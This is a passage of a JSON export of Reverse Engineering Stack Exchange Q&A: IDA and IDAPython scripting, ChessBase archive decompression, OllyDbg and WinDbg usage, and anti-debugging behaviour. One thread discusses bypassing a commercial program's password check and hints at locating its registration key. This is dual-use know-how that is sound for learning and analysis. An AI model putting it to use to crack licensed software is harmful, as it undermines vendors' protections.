instruction (or content if it is in the data section), to see whether it is a recovered symbol or not. If so, I will store this symbol together with this instruction (or data)'s memory address.</p>\n\n<p>But basically how to check whether a oprend in a instruction is a symbol? </p>\n",
        "Title": "How can I obtain the data of how many memory references are symbolized by IDA-Pro?",
        "Tags": "|ida|symbols|",
        "Answer": "<p>If I understand your question correctly, you're asking how many addresses have names.</p>\n\n<p>For example, in the following snippet, two of the addresses in the snippet have names (<code>loc_4385E4</code> and <code>dword_4385F8</code>), since both are cross-referenced from other addresses:</p>\n\n<pre><code>.text:004385E4 loc_4385E4:                             ; CODE XREF: sub_4254E0+1C0j\n.text:004385E4                                         ; CODE XREF: sub_4254E0+1E6j\n.text:004385E4                 push    ecx\n.text:004385E5                 push    ecx\n.text:004385E6                 push    0Eh\n.text:004385E8                 pop     edx\n.text:004385E9                 mov     ecx, offset dword_438618\n.text:004385EE                 call    sub_4421A7\n.text:004385F3                 jmp     loc_4256A6\n.text:004385F3 ; END OF FUNCTION CHUNK FOR sub_4254E0\n.text:004385F3 ; ---------------------------------------------------------------------------\n.text:004385F8 dword_4385F8    dd 1000000Ah, 80204h, 10000h, 80010000h\n.text:004385F8                                         ; DATA XREF: sub_4254E0+13092o\n</code></pre>\n\n<p>You can use the IDC script below to count all named addresses in your disassembly:</p>\n\n<pre><code>auto ea;\nauto names = 0;\n\nfor (ea = BeginEA(); ea != BADADDR; ea = NextNotTail(ea))\n{\n    if (Name(ea) != \"\")\n    {\n        names++;\n    }\n}\n\nMessage(\"%d named addresses found.\\n\", names);\n</code></pre>\n\n<p>\u200b</p>\n\n<p><strong><em>Edit</em></strong></p>\n\n<p>The change you made to your original question now makes it sounds like you want to capture all function names. To do this, open the Functions window (in the menubar: <em>View</em> \u2192 <em>Open subviews</em> \u2192 <em>Functions</em>), right-click in the Functions window, and choose <em>Copy all</em>. You can now paste the list of function names into a text editor or spreadsheet.</p>\n"
    },
    {
        "Id": "8593",
        "CreationDate": "2015-03-29T17:10:07.170",
        "Body": "<p>I work on the reverse engineering of the ChessBase archive (.cbv).</p>\n\n<p>I found the general structure of the file and can already decompress some files.</p>\n\n<p>You can see my current work <a href=\"https://github.com/antoyo/uncbv\" rel=\"noreferrer\">here</a>.</p>\n\n<p>However, some .cbv files that are bigger seems to use a second compression algorithm.</p>\n\n<p>I was able to find the first compression algorithm by debugging the <a href=\"http://download.chessbase.com/Download/ChessBaseReader/Setup.msi\" rel=\"noreferrer\">ChessBase Reader 2013</a> software, but I cannot make sense of the second compression algorithm.</p>\n\n<p>I tried some tools like <code>signsrch</code> to find out what algorithm was used without any luck: it seems to be a custom algorithm.</p>\n\n<p>Here is a <a href=\"http://en.chessbase.com/portals/4/files/news/2014/common/cbm/cbm163/CBM163D85.cbv\" rel=\"noreferrer\">file</a> that I am able to partly decompress with my <a href=\"https://github.com/antoyo/uncbv\" rel=\"noreferrer\">tool</a> (my tool will print <code>What to do?</code> when it detects that the unknown compression algorith was used).</p>\n\n<p>Do you have any idea of what compression algorithm is used?</p>\n\n<p>If not, do you have any way of finding it by looking at the compressed file?</p>\n\n<p>I am able to create archives so I can have files that are both compressed and not: I wonder if there is any way to find a compression pattern in such a situation.</p>\n",
        "Title": "Unknown decompression algorithm",
        "Tags": "|decompress|",
        "Answer": "<p>After downloading ChessBase Reader and playing with ProcMon a bit to find the function that reads the archive and writes the data file, i loaded up the whole thing in IDA to analyze it. The data is <a href=\"http://en.wikipedia.org/wiki/Huffman_coding\" rel=\"noreferrer\">Huffman-coded.</a> </p>\n\n<p>Each data block has the following structure. Note that Huffman compression works with bits, not bytes, so each size in the following table is in bits as well. The block length is 16 bits, or 2 bytes, for example.</p>\n\n<pre><code>+----------------------------------------------+\n|                                              |\n|16 bits - uncompressed block length (len)     |\n|                                              |\n+-----------+----------------------------------+\n|           |                                  |\n|Repeat     |  4 bits - length of entry (n)    |\n|256        |                                  |\n|times      +----------------------------------+\n|           |                                  |\n|one entry  |  n bits - tree left/right        |\n|per byte   |  information for this byte       |\n|(0-255)    |                                  |\n|           |                                  |\n+-----------+----------------------------------+\n|                                              |\n| Huffman encoded bit sequences. The number of |\n| bits isn't stored anywhere, but the number   |\n| of sequences, which is equal to the number   |\n| of output bytes, is the block length (len)   |\n|                                              |\n+----------------------------------------------+\n</code></pre>\n\n<p>Assuming the word \"foobar\" was coded in this scheme, this would possibly  result in (i made up the bit values for the characters):</p>\n\n<pre><code>+----------------+\n|Huffman code for|\n|character   is  |\n+--------+-------+\n|        |       |\n| o      |   0   |\n| f      |   100 |\n| b      |   101 |\n| a      |   110 |\n| r      |   111 |\n|        |       |\n+--------+-------+\n</code></pre>\n\n<p>This would result in the word foobar being coded as\n<code>100 0 0 101 110 111</code>. The length is 6 bytes, or <code>0000 0000 0000 0110</code> in 16 bits.</p>\n\n<p>The bitarray for <code>foobar</code>, formatted to the above table, would read</p>\n\n<pre><code>0000 0000 0000 0110                      (16 bit output length)\n.....    array index   0 for byte '\\0'\n.....    array index   1 for byte '\\1'\n.....\n0011 110 array index  97 for byte 'a'    (3 bits)\n0011 101 array index  98 for byte 'b'    (3 bits)\n.....\n0011 100 array index 102 for byte 'f'    (3 bits)\n.....\n0001 0   array index 111 for byte 'o'    (1 bit)\n.....\n0011 101 array index 114 for byte 'r'    (3 bits)\n.....                                    remaining bit combos - 255\n\n100 0 0 101 110 111                      foobar text\n</code></pre>\n\n<p>The implementation builds a binary tree from the code table. When it reads the data, it starts at the root of the tree; each bit moves down the tree, to the left or right, depending on the next bit value. When a leaf is reached, the corresponding byte is being output. This repeats until the length of the output stream is reached.</p>\n\n<p>The related functions from the binary are these:</p>\n\n<p><code>BECAA0</code>: decodes the archive data. Reads 16 bits for the length; then reads the encoding table into two arrays at offsets <code>080A</code> (bits) and <code>0E10</code> (bit lengths) within the decoder class. After this, call <code>BEC930</code> to decode the data bytes.</p>\n\n<p><code>BEBF30</code>: One parameter (number of bits), gets this many bits from the input array. At the end of the function, the word at offset <code>1014</code> has these bits.</p>\n\n<p><code>BEBAD0</code>: Builds the tree from the arrays at <code>080A</code> and <code>0E10</code></p>\n\n<p><code>BEC930</code>: Calls <code>BEBAD0</code> to build the tree, then reads the remaining bits from the input stream. Walks the tree for each bit; emits a byte when a leaf is found. At the end, calls <code>BEBA90</code> to destroy the tree.</p>\n\n<p><code>BEBA90</code>: Recursively delete a node by deleting the left and right children, the the node itself.</p>\n\n<p>I don't think debugging the writer would be easier if you want to read the files; compression has a lot of logic and data structures, and knowing how 'one way' works doesn't neccesarily help you with the other way round. In this case, luckily, its a well known algorithm, but if the algorithm is unknown it can be quite hard to compress effectively if you just know how to decompress.</p>\n"
    },
    {
        "Id": "8597",
        "CreationDate": "2015-03-30T12:34:20.613",
        "Body": "<p>I have some questions about how to reach an address by bypassing a few hundred lines. Assume that we have the following scenario:</p>\n\n<pre><code>                   + -----------------------+\n          004019EF |                        |   &lt;----- we are here\n                   |   content of function  |\n                   |   004019EF             |\n                   |                        |\n                   |                        |\n                   +------------------------+\n                   |                        |\n                   |     this area contains |\n                   |     lines which        |\n                   |     I want to bypass   |\n                   |     quickly            |\n                   |                        |\n                   +------------------------+\n         00401E1F  |                        |     &lt;-- we want to go here\n                   |     content which I    |\n                   |     want to analyze    |\n                   |                        |\n                   |                        |\n                   +------------------------+\n</code></pre>\n\n<p>So, the situation is that I am for example at 004019EF and then I figured \nout that the location at 00401E1F also seems to be important. And I decide to go there. For that reason, I click on Ctrl+G, type the target address and\nset a breakpoint(clicking F2) at 00401E1F. Then I let it run. But the program doesn't reach the place. It terminates the process and ends at a location with RETN.\nSo, I started the process again. But this time, I step manually from line 004019EF to 00401E1F. On the way, I eliminate all the lines/instructions which leads to a termination by replacing them with a NOP instruction.\nAt the end, I reach the address 00401E1F.</p>\n\n<p>My question would be : </p>\n\n<p>When I replace instructions with a NOP or change the flags of jump-instructions to modify the execution flow of the programm, then will these modifications be a problem for the content of 00401E1F ? </p>\n\n<p>I mean can I say the following : </p>\n\n<p>\"These instructions causing problems, so deleting them with NOP would be unproblematic\"  </p>\n\n<p>OR</p>\n\n<p>Am I going to miss some results of the area between 004019EF and 00401E1F which could be important for the content of 00401E1F ? \nIf yes, then:</p>\n\n<p>Is there another way to bypass that lines to reach the target address without patching/changing lines or instructions? </p>\n",
        "Title": "Reaching an address with ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>What Jason said. Consider this C code:</p>\n\n<pre><code>int size;\nint nelem=1;\nstruct whatever *data;\nif (debugger_is_running)\n    nelem-=2;                 // pass an unreasonable value to malloc\nsize=sizeof (struct whatever)*nelem;\nif ((data=malloc(size))==NULL)\n    abort_program(\"No memory\");\n......\n// use data here\n</code></pre>\n\n<p>It's the <code>nelems-=2</code> instruction you want to patch out. If you just <code>nop</code> out the call to <code>abort_program</code>, your data will still be a NULL pointer and cause the program to crash whenever you use it, much later.</p>\n\n<p>You really need to analyze everything between your code blocks, find out how the program detects the debugger, and change that piece of code.</p>\n"
    },
    {
        "Id": "8598",
        "CreationDate": "2015-03-30T12:35:34.110",
        "Body": "<p>I used some code to read the process memory using the MEMORY_BASE_INFORMATION a little while back using the information provided <a href=\"https://reverseengineering.stackexchange.com/questions/8297/proc-self-maps-equivalent-on-windows\">here</a>. However, when I list out the regions in memory, only the pages with RW pages seem to be listed out. More importantly, none of the pages with executable permissions are listed out. How could I rectify this?</p>\n\n<p>Could it have something to do with the privilege at which the process runs?</p>\n\n<p>I've attached a screenshot of the process memory in Ollydbg and what is printed out using the source below :-</p>\n\n<pre><code>int main() {\n    HANDLE process = GetCurrentProcess();\n\n    MEMORY_BASIC_INFORMATION info;\n    unsigned char *p = NULL;\n\n    for ( p = NULL;\n          VirtualQueryEx(process, p, &amp;info, sizeof(info)) == sizeof(info);\n          p += info.RegionSize )\n    {\n        if (info.State == MEM_COMMIT &amp;&amp; (info.Type == MEM_MAPPED || info.Type == MEM_PRIVATE))\n               printf(\"%08x %08x %08x\\n\", info.BaseAddress, info.RegionSize, info.Protect);\n    }\n}\n</code></pre>\n\n<p><img src=\"https://i.stack.imgur.com/JXnKB.png\" alt=\"Output\">\n<img src=\"https://i.stack.imgur.com/hXRIl.png\" alt=\"Ollydbg\"></p>\n",
        "Title": "Reading the process memory yields different results",
        "Tags": "|windows|ollydbg|process|virtual-memory|pages|",
        "Answer": "<p>OllyDbg shows memory regions of all types, whereas your code doesn't show <code>MEM_IMAGE</code> regions.</p>\n\n<p>Replace <code>if ((info.State == MEM_COMMIT) &amp;&amp; ((info.Type &amp; MEM_MAPPED) || (info.Type &amp; MEM_PRIVATE)))</code> with just <code>if (info.State == MEM_COMMIT)</code>.</p>\n"
    },
    {
        "Id": "8607",
        "CreationDate": "2015-03-31T15:31:43.430",
        "Body": "<p>i am analyzing a piece of code in which the main thread does the following steps:</p>\n\n<p>First, it calls CreateProcess() to create a a process in suspended state. Then it changes the starting address of the thread by using a combination of GetThreadContext &amp; SetThreadContext. The new start address of the thread is now 00401E1D. And at the end, it calls ResumeThread() start the thread.</p>\n\n<p>So, what I did was: I set a BP at ResumeThread(), let it run, after hitting the BP I step over the ResumeThread()-function and open the window where all threads are listed by clicking on the big \"T\"-button in Ollydbg.</p>\n\n<p>But there is only the main thread, not the newly started thread. \nAnd now I have a couple of questions:</p>\n\n<pre><code> 1st question: Why it is not in the list ?\n\n 2nd question: How can I find it?\n\n 3th question: \n In the main thread, I can not step to 00401E1D \n (starting address of the new thread) because ollydbg somehow \n  terminates itself. Maybe there is some anti-debugging tricks or \n  things like that. I do not know, because I did not analyze it yet\n  in detail. So, the question is: Is there a way to analyze the \n  new thread starting at 00401E1D in a separate ollydbg-session ?\n  Is it possible ?\n</code></pre>\n\n<p>best regards, </p>\n",
        "Title": "Working with multi-threaded program but can not find created thread",
        "Tags": "|ollydbg|thread|process|",
        "Answer": "<p>In addition to creating the child process, <code>CreateProcess()</code> also causes the creation of the child process's primary thread. Your post makes it sound like the calls to <code>GetThreadContext()</code>, <code>SetThreadContext()</code>, and <code>ResumeThread()</code> all act on that primary thread.</p>\n\n<blockquote>\n  <p>1st question: Why it is not in the list ?</p>\n</blockquote>\n\n<p>As you said in your post, you are seeing the process's main (primary) thread, on which the <code>*Thread*()</code> API functions above acted. No additional threads are created so you shouldn't expect to see additional threads in OllyDbg's view.</p>\n\n<blockquote>\n  <p>2nd question: How can I find it?</p>\n</blockquote>\n\n<p>N/A</p>\n\n<blockquote>\n  <p>Is there a way to analyze the new thread starting at 00401E1D in a separate ollydbg-session ?</p>\n</blockquote>\n\n<p>Yes -- check the \"Debug child processes\" checkbox in OllyDbg's options:</p>\n\n<p><img src=\"https://i.stack.imgur.com/GDxO5.png\" alt=\"OllyDbg\"></p>\n"
    },
    {
        "Id": "8612",
        "CreationDate": "2015-03-31T21:08:14.277",
        "Body": "<p>After solving few crackmes I tried to take one step further and move on \"real life\" reversing tasks, targeting a known win7 program's password check feature.</p>\n\n<p>The program in question obviously doesn't store interesting strings in memory, so I tried another approach, that so far worked well in test-scenarios and in crackmes. The prompt for the password itself uses a simple edit control, so I instantly looked for executable modules -> USER32.dll and found the GetWindowTextW offset (I know it may be using alternative ways to retrieve text, but that was not the problem)\nSetting a breakpoint there and trying to f9-run the program causes it to crash.</p>\n\n<p>I'm new in reversing and debuggers, and I don't really know what may be causing the issue, or where should I look to solve it.</p>\n\n<p>PS: could this be a good approach for the task ?</p>\n",
        "Title": "Program crashes after resuming from breakpoint",
        "Tags": "|windows|assembly|debuggers|",
        "Answer": "<p>Basically, your approach is a good first approach. Programs used to be easily crackable using it 10 years ago. But times have changed, and many programs try to detect if they are being cracked and implement countermeasures.</p>\n\n<p>There's lots of things that could be happening. The program might use <code>IsDebuggerPresent()</code>. It may use other methods to detect a debugger. It might generate a checksum over its own memory and check that against a known value (setting the breakpoint modifies the instruction to <code>INT 3</code> unless you use a hardware/memory breakpoint, but if you put the breakpoint on a function in <code>user.dll</code>, you won't change the executable's checksum). The program might check the functions it calls if one of them begins with an <code>INT 3</code> instruction (but i'd assume this not to be the case for a mere <code>GetWindowTextW</code>). If the program crashes on a resume F9, not the first run-F9, it might be timing how long checking the password takes, and if it's more than 0.1 seconds, it assumes it was interrupted and crash.</p>\n\n<p>There's literally dozens of possibilities, and you'd have to trace your way through the program to find out which is used - this is where experience kicks in.</p>\n\n<p>You could try if the program works if you just load and run it - if it doesn't, it detects your debugger. There are stealth plugins to ollydbg that you might want to try.</p>\n\n<p>A different approach that has sometimes worked for me is running Process Monitor to see where the program accesses its (file or registry-based) registration key; check the stack to see which function is calling that access, and statically analyze the program from there.</p>\n"
    },
    {
        "Id": "8622",
        "CreationDate": "2015-04-02T05:52:07.683",
        "Body": "<p>Yesterday i noticed a nice output from dbg while going through a write up on the internet. As am new to dbg i googled a lot as i wanted to make dbg work similar for me. As seen below this customisation would help me a lot with my work with all the data displayed instantaneously. I tried voltron from the below link but was unable to get it working with many errors. <a href=\"https://github.com/snare/voltron\" rel=\"nofollow noreferrer\">https://github.com/snare/voltron</a></p>\n\n<p>Is there any extension other than voltron so that i can get the output as shown in the link below? Would editing the .dbginit file help in any way?</p>\n\n<p><a href=\"https://i.stack.imgur.com/Pg9JH.jpg\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/Pg9JH.jpg</a></p>\n\n<p>TIA</p>\n\n<p>Regards</p>\n",
        "Title": "Custom gdb output",
        "Tags": "|debuggers|linux|gdb|",
        "Answer": "<p>what you show looks a lot like PEDA (<a href=\"https://github.com/longld/peda\" rel=\"nofollow\" title=\"PEDA Github\">PEDA Github repo</a>) a Python extension to GDB. Although PEDA is very good, it looks like it is not being actively developed anymore. </p>\n\n<p>A newer incarnation of this idea is GEF (GDB Enhanced Features) (<a href=\"https://github.com/hugsy/gef\" rel=\"nofollow\">GEF Github repo</a>). It is written in Python as well and it has the advantage of bein <em>multi-architecture</em> (Intel, ARM, MIPS, etc.)</p>\n\n<p>Both require a minimal change in your .gdbinit to work, no tedious installation, dependencies or anything like that.</p>\n\n<p>Have fun debugging!</p>\n"
    },
    {
        "Id": "8623",
        "CreationDate": "2015-04-02T06:36:34.460",
        "Body": "<p>According to what I know :WinDbg uses debugging information (pdb/symbol files) for debugging.So ,for example say I get a unknown exe (malicious) can I debug it since I'll not be having its .pdb. Is WinDbg best suited to analyze memory dumps and crash issues only?</p>\n\n<p>Ollydbg being a ring 3 debugger is good to analyze/debug malicious exe's but doens't support unknown dlls(there is loaddll but you have to know which function the dll exports and there parameters) and rootkits(sys files).</p>\n\n<p>So If I have a dll and a .sys file how can I debug it using olly or winDbg?</p>\n\n<p>Note:I am a noob I may be wrong in what I know.I don't have the resources to buy IDAPro :-). </p>\n",
        "Title": "When to use Windbg and Ollydbg?",
        "Tags": "|debugging|windbg|vulnerability-analysis|malware|",
        "Answer": "<blockquote>\n  <p>WinDbg uses debugging information (pdb/symbol files) for debugging. So ,for example say I get a unknown exe (malicious) can I debug it since I'll not be having its .pdb</p>\n</blockquote>\n\n<p>Yes. Symbols are one of Windbg's main strength, but it can also debug anything <strong>without</strong> symbolic information.</p>\n\n<blockquote>\n  <p>Is WinDbg best suited to analyze memory dumps and crash issues only?</p>\n</blockquote>\n\n<p>Once again, it can do that, but that's not its sole use.</p>\n\n<blockquote>\n  <p>Ollydbg being a ring 3 debugger is good to analyze/debug malicious\n  exe's but doens't support unknown dlls(there is loaddll but you have\n  to know which function the dll exports and there parameters)</p>\n</blockquote>\n\n<p>If you need to analyse a DLL, you'll need a program to load it and then debug this program, thus you can't debug a DLL by itself (DLLs, as their name imply are dynamic libraries used by a main program). That's a system requirement.</p>\n\n<blockquote>\n  <p>and rootkits(sys files).</p>\n</blockquote>\n\n<p>Yes, you'll need a ring0 debugger.</p>\n\n<p>You can also mix static (disassembler) and runtime (debugger) analysis  for your DLL and driver (*.sys) file. Hex rays has a free version of IDA.</p>\n\n<hr>\n\n<p>Both debuggers can be used for Ring3 (user-land) debugging, and only Windbg can do Ring0 (kernel-land) but they have their own strengths and weaknesses.</p>\n\n<p>From my point of view (I'm using both a lot):</p>\n\n<ul>\n<li>OllyDbg: \n<ul>\n<li>Pros: great for displaying information to the end-user; Color schemes, Well organised displaying windows.</li>\n<li>Cons: symbolic information is minimal; no command line; GUI only</li>\n</ul></li>\n<li>Windbg:\n<ul>\n<li>Pros: extremely powerful with symbolic information; Ring0 debugging; windows internals; bare metal stuffs</li>\n<li>Cons: not really user-friendly; steep learning curve</li>\n</ul></li>\n</ul>\n\n<p>They both have a native plugin system (C / C++); windbg have a scripting language which is a real PITA (but <a href=\"https://pykd.codeplex.com/\" rel=\"nofollow\">pykd</a> [Windbg scripting in python] can alleviate this problem).</p>\n\n<p>Note that windbg can't do in-place live ring0 debugging (\u00e0 la Softice or Syser) except with \"livekd\" (but this works on a system snpashot, not live): you need a host system (the debugger) and another machine which will be the debuggee (either a virtual machine or another physical machine).</p>\n"
    },
    {
        "Id": "8628",
        "CreationDate": "2015-04-03T02:17:36.580",
        "Body": "<p>I want to collect all the IDA recovered symbol information in data sections (this information could be <strong>function name</strong>, or it could be <strong>an entry of jump table</strong>, or it could be a <strong>reference to other data sections</strong>).</p>\n\n<p>Here is an example of data sections from a IDA disassembled binary. </p>\n\n<p><img src=\"https://i.stack.imgur.com/jKc9B.png\" alt=\"enter image description here\"></p>\n\n<p>Basically there are three recovered symbols in data section, and I want to collect these information in a format like this:</p>\n\n<pre><code>0x804a018 : sub_804847b\n0x804a01dc : _strchr\n0x804a020 : sub_80484AE\n</code></pre>\n\n<p>I am thinking to traverse all the memory address of a binary's data sections, and check the content of each address, to see whether it is a recovered symbol.  </p>\n\n<p>But basically how to read a suspicious symbol when iterating addresses? I read the <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/162.shtml\" rel=\"nofollow noreferrer\"><code>idc</code></a> interface, but I just cannot find any the correct api to do so. Could anyone help me on this issue? I appreciate that.</p>\n\n<p>------------------------ explain ------------------------</p>\n\n<p>I didn't get an answer in that post, in addition, I think what I explained in that post is somehow misleading.</p>\n",
        "Title": "How to get the recovered memory references in IDA-Pro?",
        "Tags": "|ida|idapython|symbols|",
        "Answer": "<p>As far as I understood your question, you will need the following IDAPython apis:</p>\n\n<ul>\n<li>Getting a content from specific memory address : idc.Dword(address) or idc.Qword(address) - you should choose the function according to the pointer size.</li>\n<li>Obtaining a name of the address: idc.Name(address)</li>\n</ul>\n\n<p>All the mentioned IDAPython apis has the similar things in idc </p>\n\n<p>So, for your specific example you'll get the desired output as follows (IDAPython):</p>\n\n<pre><code>import idc\naddresses = [0x804a018, 0x804a01dc ,0x804a020 ]\n\nfor a in addresses:\n    print hex(a),\" : \", idc.Name(idc.Dword(a))\n</code></pre>\n\n<p>Filtering the data in the .data section is completely different story.</p>\n\n<p>For example you can do the following (it is not 100% correct):</p>\n\n<pre><code>import idc\n\nsegstart = your_code_segment_start\nsegend = your_code_segment_end\nptrstep = your_system_pointer_size_in_bytes\n\nfor a in range(segstart, segend, ptrstep):\n    data = idc.Dword(a) #replace with qword if working with 64 bit)\n    if a &lt; segstart or a &gt;= segend:\n        continue\n    if not idc.Name(data) is None:\n        print hex(a), \" --&gt; \", idc.Name(data)\n</code></pre>\n"
    },
    {
        "Id": "8630",
        "CreationDate": "2015-04-03T20:40:53.353",
        "Body": "<p>I need to analyse a sample which creates a child process. I want to analyze the child process, too, but I have the following problem. Therefore, I take the command line plugin for my olldbg v1.10 and type the following command:</p>\n\n<pre><code>childdbg 1\n</code></pre>\n\n<p>(that is also described at <a href=\"https://stackoverflow.com/questions/21695192/can-ollydbg-trace-a-launched-exe\">https://stackoverflow.com/questions/21695192/can-ollydbg-trace-a-launched-exe</a> by blabb )</p>\n\n<p>But the plugin says:</p>\n\n<pre><code> Unrecognized command: CHILDDBG\n</code></pre>\n\n<p>Why this appears? How can I fix it ?</p>\n\n<p>PS:\nBefore somebody recommend me to use ollydbg v2.01 (because it has a built-in option to debug a child process), I can say that I can not open the sample with ollydb v2.01 but this is a topic which I asked here: <a href=\"https://reverseengineering.stackexchange.com/questions/8614/getting-a-debug-message-after-opening-a-sample-with-ollydbg-2-01?noredirect=1#comment12249_8614\">&quot;Debugged application has modified the debugging registers&quot; with ollydbg 2.01</a></p>\n\n<p>best regards, </p>\n",
        "Title": "Command for Command line plugin does not work",
        "Tags": "|ollydbg|process|plugin|command-line|error|",
        "Answer": "<p>the latest version is available in blog entry  </p>\n\n<p><a href=\"https://www.openrce.org/repositories/users/anonymouse/ModifiedCommandLinePluginWithChildDbg_Date_16082008.rar\" rel=\"nofollow noreferrer\">https://www.openrce.org/repositories/users/anonymouse/ModifiedCommandLinePluginWithChildDbg_Date_16082008.rar</a>  </p>\n\n<p>if the link did not work you can download a modified version of the plugin with an additional command <strong>.writemem</strong>  compiler has been changed to vc++ and old code modified to suit vc++  so the functionality of old commands not tested use it cautiously. i have tested only the .writemem functionality</p>\n\n<p>some background for the additional command can be found here \n<a href=\"https://stackoverflow.com/questions/28488750/how-to-automate-task-in-ollydbg-using-ollyscript-or-any-other-tool/28556003#28556003\">https://stackoverflow.com/questions/28488750/how-to-automate-task-in-ollydbg-using-ollyscript-or-any-other-tool/28556003#28556003</a></p>\n\n<p><a href=\"http://wikisend.com/download/750442/cmdline.dll\" rel=\"nofollow noreferrer\">http://wikisend.com/download/750442/cmdline.dll</a></p>\n"
    },
    {
        "Id": "8638",
        "CreationDate": "2015-04-05T18:28:47.347",
        "Body": "<p>I am trying to iterate all the C <code>statement</code> (could be very coarse-grained, it's fine) in IDA-Pro recovered assembly program. </p>\n\n<p>Suppose I only consider these statements:</p>\n\n<pre><code>State :: =\n  | if-else cond;\n  | loop;\n  | assignment;\n  | function call\n  | return\n  | {s1; s2; s3 ...}\n</code></pre>\n\n<p>And after some quick search, I know that there are some (third-party) plugins that can help to identify some <code>C</code> control-flow structure, and I list some of them below:</p>\n\n<p>if-else cond  :   N/A</p>\n\n<p>loop  : <a href=\"https://reverseengineering.stackexchange.com/questions/6175/idapython-find-functions-that-contain-a-loop/6176#6176\">link1</a> <a href=\"https://hex-rays.com/contests/2011/index.shtml\" rel=\"nofollow noreferrer\">link2</a> <a href=\"http://old.idapalace.net/papers/loopdetection.pdf\" rel=\"nofollow noreferrer\">link3</a></p>\n\n<p>So my questions are:</p>\n\n<ol>\n<li><p>Is there any plugins that can recover if/else statement? It looks easier than loop, but I just cannot find a well-developed way to recover the statement.</p></li>\n<li><p>Is there anyway/api/scripts to iterate C statements in IDA-Pro? Or I have to implement myself?</p></li>\n</ol>\n\n<p>Ideally it should look like this as this is essentially used in source code analysis... (sorry for this pseudo code, I just want to clarify)</p>\n\n<pre><code>let aux s =\n    match s with\n    | If e1 b1 b2 -&gt; analyze e1 b1 b2\n    | Loop e1 e2 e3 b1 -&gt; analyze e1 e2 e3 b1\n    | Assign v1 v2 -&gt; analyze v1 v2 \n    | States sl -&gt; List.iter analyze sl\n    | ...  in\nList.iter aux statement_list\n...\n</code></pre>\n",
        "Title": "Is there anyway I can iterate all the C-level statements in IDA-Pro?",
        "Tags": "|ida|binary-analysis|ida-plugin|idapython|static-analysis|",
        "Answer": "<blockquote>\n  <ol>\n  <li>Is there any plugins that can recover if/else statement? It looks easier than loop, but I just cannot find a well-developed way to\n  recover the statement.</li>\n  </ol>\n</blockquote>\n\n<p>Yes, the <a href=\"https://www.hex-rays.com/products/decompiler/index.shtml\" rel=\"nofollow\">Hex-Rays Decompiler</a> recovers if/else statements.</p>\n\n<blockquote>\n  <ol start=\"2\">\n  <li>Is there anyway/api/scripts to iterate C statements in IDA-Pro? Or I have to implement myself?</li>\n  </ol>\n</blockquote>\n\n<p>Yes, the <a href=\"https://www.hex-rays.com/products/decompiler/sdk.shtml\" rel=\"nofollow\">Hex-Rays SDK</a> allows you to iterate the items (including if-else statements) in a decompilation tree.</p>\n"
    },
    {
        "Id": "8644",
        "CreationDate": "2015-04-06T09:10:39.123",
        "Body": "<p>I recently found the program: ltrace. And was wondering if it's possible to achieve the same using one of the gui debuggers for windows: ida, immunity,  etc. The only thing I've found is a port of the cmdline util. Which is perfectly fine, but it would be convenient if I could do the same using, say ida.</p>\n\n<p>Tldr; Trace library calls using a windows debugger/disassembler.</p>\n\n<p>Thanks for the quick response and the examples. Got everything I needed.</p>\n",
        "Title": "Windows debugger with ltrace functionality",
        "Tags": "|ida|windows|debuggers|immunity-debugger|",
        "Answer": "<p>ollydbg -> search for all intermodular calls -> in the new window -> set log break point radio button pause to never , log function argument to always ok </p>\n\n<p>you should see all the lib functions breakpointed in pink </p>\n\n<p>f9 to run the application </p>\n\n<p>on exit look at log window for all the calls that were made to other modules from executab;e</p>\n\n<pre><code>Log data\nMessage\nProgram entry point\nCALL to GetSystemTimeAsFileTime\n  pFileTime = 0013FFB4\nCALL to GetCurrentProcessId\nCALL to GetCurrentThreadId\nCALL to GetTickCount\nCALL to QueryPerformanceCounter\n  pPerformanceCount = 0013FFAC\nCALL to HeapCreate\n  Flags = 0\n  InitialSize = 1000 (4096.)\n  MaximumSize = 0\nCALL to GetModuleHandleW\n  pModule = \"KERNEL32.DLL\"\nCALL to GetProcAddress\n  hModule = 7C800000 (kernel32)\n  ProcNameOrOrdinal = \"FlsAlloc\"\nCALL to GetProcAddress\n  hModule = 7C800000 (kernel32)\n  ProcNameOrOrdinal = \"FlsGetValue\"\nCALL to GetProcAddress\n  hModule = 7C800000 (kernel32)\n  ProcNameOrOrdinal = \"FlsSetValue\"\nCALL to GetProcAddress\n  hModule = 7C800000 (kernel32)\n  ProcNameOrOrdinal = \"FlsFree\"\nCALL to TlsAlloc\nCALL to TlsSetValue\n  TlsIndex = 1\n  pValue = kernel32.TlsGetValue\nCALL to TlsAlloc\nCALL to HeapAlloc\n  hHeap = 00350000\n  Flags = HEAP_ZERO_MEMORY\n</code></pre>\n\n<p>windbg </p>\n\n<p><strong>cdb -c \"!logexts.loge;!logm i *;!loge;!logo e d;g;q\" msgboxw.exe > trace.txt &amp; grep MessageBoxW trace.txt</strong></p>\n\n<pre><code>Thrd 3c4 00401017 MessageBoxW( NULL \"cannot find \"hello\"\" \"test\"MB_OK) -&gt; IDOK\nThrd 3c4 0040102B MessageBoxW( NULL \"cannot find \"iello\"\" \"test\"MB_OK) -&gt; IDOK\nThrd 3c4 0040103F MessageBoxW( NULL \"cannot find \"jello\"\" \"test\"MB_OK) -&gt; IDOK\nThrd 3c4 00401053 MessageBoxW( NULL \"cannot find \"fello\"\" \"test\"MB_OK) -&gt; IDOK\nThrd 3c4 00401067 MessageBoxW( NULL \"cannot find \"kello\"\" \"test\"MB_OK) -&gt; IDOK\nThrd 3c4 0040107B MessageBoxW( NULL \"saying \"hello\" baby\" \"test\"MB_OK) -&gt; IDOK\n</code></pre>\n"
    },
    {
        "Id": "8647",
        "CreationDate": "2015-04-06T17:20:07.740",
